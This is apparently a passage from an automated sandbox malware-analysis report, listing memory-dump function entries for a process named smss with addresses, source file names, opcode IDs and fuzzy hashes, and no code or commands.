                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2e62be6e9babd4287e7db9fb4549c302f05332f76477976db2548a7a12853c0f
                                                      • Instruction ID: 157e5f5edda3606412971e80f6ce41f23f5fd7e38b51bb57e6ceca60162e11fc
                                                      • Opcode Fuzzy Hash: 2e62be6e9babd4287e7db9fb4549c302f05332f76477976db2548a7a12853c0f
                                                      • Instruction Fuzzy Hash: FDD0123062D94E8FDA41B778D885814BFE0FF0F311BDA00E1E44DC71B2D6159895C705
                                                      Function 00007FFD9B9006A5 Relevance: .0, Instructions: 13COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d7beb52c358338d5832bfbff0076e7b998bdfbb574bdb60db5746e4f2dde4b25
                                                      • Instruction ID: 7e19305702cb68bdb4a63ce95357bc6ff876faa4b31c69ca6a8e109db2d6fe4b
                                                      • Opcode Fuzzy Hash: d7beb52c358338d5832bfbff0076e7b998bdfbb574bdb60db5746e4f2dde4b25
                                                      • Instruction Fuzzy Hash: 87C08C0CF3B40F20F43033EE14620BCB3415BC5B10FE30232C08C800E2AC4E22C50246
                                                      Function 00007FFD9C06506B Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 88aee399057a8ae294d7c21b75ba5aea158a791c35857b1981143dab32966a3c
                                                      • Instruction ID: 07b74d4a55a0bef737a7a3f8d2d51028ec7c28ac6b920c902a61447b5b35a4ac
                                                      • Opcode Fuzzy Hash: 88aee399057a8ae294d7c21b75ba5aea158a791c35857b1981143dab32966a3c
                                                      • Instruction Fuzzy Hash: D8D09510F0C64789FA784E82823A63A26B49F06380E20433EC2AF419C18B29B9017642
                                                      Function 00007FFD9C06E11B Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 230d511b7a17262fa133eb11823a306fdc941e0845b3505c0dc43ccf75fd0ba3
                                                      • Instruction ID: 20e009e9fa8914d367cb02ffb757f7e6d437598674f1d2b1a5c411790a8d8421
                                                      • Opcode Fuzzy Hash: 230d511b7a17262fa133eb11823a306fdc941e0845b3505c0dc43ccf75fd0ba3
                                                      • Instruction Fuzzy Hash: B9D0C930B0D76385F6384E81433663D19B15F00BC1E64063EC0BF469C1CF1DBA017602
                                                      Function 00007FFD9BCCDBAB Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 61a40d3cf6e15dab64fccae4e4d47597c5b5d6015f0e832f2ad277dff738981f
                                                      • Instruction ID: 6e6f4c6ab53ac7809c3b0483864eed1e37849dc8e8fb92dbc6eaa78709b4c018
                                                      • Opcode Fuzzy Hash: 61a40d3cf6e15dab64fccae4e4d47597c5b5d6015f0e832f2ad277dff738981f
                                                      • Instruction Fuzzy Hash: 21D09214F0E61F85F6386AA150B063E62A05FE0300F62087DD09F419F18919BB016261
                                                      Function 00007FFD9BCC70BB Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                      • Instruction ID: 438aa632ac4dbf309d2f3131aa528a9d912f8671f7a81d146c42101b649004fd
                                                      • Opcode Fuzzy Hash: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                      • Instruction Fuzzy Hash: BAD09210F1E60B85F1B86EA1523163E1195DFF0302F224CBFE55F419E189197641A302
                                                      Function 00007FFD9BCC65DC Relevance: .0, Instructions: 9COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2170403718.00007FFD9BCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9bcc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3ffe0abc49e5f9b5bc1cb26d1a42dc1d8b89584a44b172d720417d1dee3d905e
                                                      • Instruction ID: 9c845a012000bf710b9b4894e24d5e9e815655a7aec5a5e2493799a41065cdfc
                                                      • Opcode Fuzzy Hash: 3ffe0abc49e5f9b5bc1cb26d1a42dc1d8b89584a44b172d720417d1dee3d905e
                                                      • Instruction Fuzzy Hash: 8EC08C40F0E3875BEB30B2F408E103C13500FB63017620E31E006871E7E81C2E11832A
                                                      Function 00007FFD9B9006C8 Relevance: .0, Instructions: 8COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2163203787.00007FFD9B900000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B900000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9b900000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction ID: f03ba4314f9f698e9b94ea070a97bbeabd62905f27ed84178a4416a1de788ab2
                                                      • Opcode Fuzzy Hash: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction Fuzzy Hash: 10B01208D7740F10E46432FA089206471905B85200FD20070D45D80096AC4D12940342
                                                      Function 00007FFD9C06D661 Relevance: .0, Instructions: 6COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000014.00000002.2182425109.00007FFD9C060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C060000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_20_2_7ffd9c060000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7162bdc1b502d1f2a29014c371e3d82c86f2092911eeac94463e1879ba95af80
                                                      • Instruction ID: cdb09f611590842db5b1e068aac89dac500dc1400a34568deb0f4d6e4f15dee6
                                                      • Opcode Fuzzy Hash: 7162bdc1b502d1f2a29014c371e3d82c86f2092911eeac94463e1879ba95af80
                                                      • Instruction Fuzzy Hash: 64B00240F0C34796F6341CE5066607D00651B45695E640B35F55E466D3DE5968407161